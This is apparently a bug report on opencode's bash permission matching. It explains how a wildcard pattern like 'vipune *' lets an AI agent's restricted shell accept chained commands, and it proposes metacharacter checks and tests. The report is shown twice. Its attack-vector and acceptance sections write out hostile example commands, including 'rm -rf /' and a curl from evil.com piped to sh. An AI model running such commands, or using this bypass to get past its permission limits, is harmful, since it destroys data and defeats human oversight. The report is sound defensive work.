What happened
The Wildcard.match() function in packages/opencode/src/util/wildcard.ts converts * to .* in regex. This means permission patterns like "vipune *" will match "vipune ; rm -rf /" because .* matches any character including shell metacharacters (;, &&, |, $(), backticks).
Combined with the bash tool using shell: true for command execution (packages/opencode/src/tool/bash.ts:223), this creates a command injection vulnerability for all agents that use restrictive bash patterns.
Expected behaviour
Bash permission patterns like "vipune *" should only match safe arguments — commands that start with the allowed prefix and contain no shell metacharacters.
Attack vector
// READONLY_TOOLS allows: "vipune *"
// Wildcard.match() matches: "vipune ; curl http://evil.com | sh"
// Shell executes both commands
Scope
This affects ALL agents that use bash pattern restrictions (currently composer and steering via READONLY_TOOLS). The explore agent has unrestricted bash: "allow" which is a separate concern.
Proposed solution
Two-layer defense:
-
Wildcard.match() hardening: When a pattern ends with *, validate that the matched string does not contain shell metacharacters (;, &, |, $, backtick, newline) after the command prefix.
-
Bash tool sanitization: Before executing any command, validate that it does not contain shell metacharacters when the permission pattern is a restrictive prefix pattern.
Acceptance Criteria
Quality Gates
What happened
The
Wildcard.match()function inpackages/opencode/src/util/wildcard.tsconverts*to.*in regex. This means permission patterns like"vipune *"will match"vipune ; rm -rf /"because.*matches any character including shell metacharacters (;,&&,|,$(), backticks).Combined with the bash tool using
shell: truefor command execution (packages/opencode/src/tool/bash.ts:223), this creates a command injection vulnerability for all agents that use restrictive bash patterns.Expected behaviour
Bash permission patterns like
"vipune *"should only match safe arguments — commands that start with the allowed prefix and contain no shell metacharacters.Attack vector
Scope
This affects ALL agents that use bash pattern restrictions (currently
composerandsteeringviaREADONLY_TOOLS). Theexploreagent has unrestrictedbash: "allow"which is a separate concern.Proposed solution
Two-layer defense:
Wildcard.match() hardening: When a pattern ends with
*, validate that the matched string does not contain shell metacharacters (;,&,|,$, backtick, newline) after the command prefix.Bash tool sanitization: Before executing any command, validate that it does not contain shell metacharacters when the permission pattern is a restrictive prefix pattern.
Acceptance Criteria
Wildcard.match("vipune ; rm -rf /", "vipune *")returnsfalseWildcard.match("vipune search topic", "vipune *")returnstrue;,&&,||,|,$(), backtick, newline) are rejected in prefix patternsbash: "allow"should be addressed as a separate follow-upQuality Gates
bun run typecheck && bun test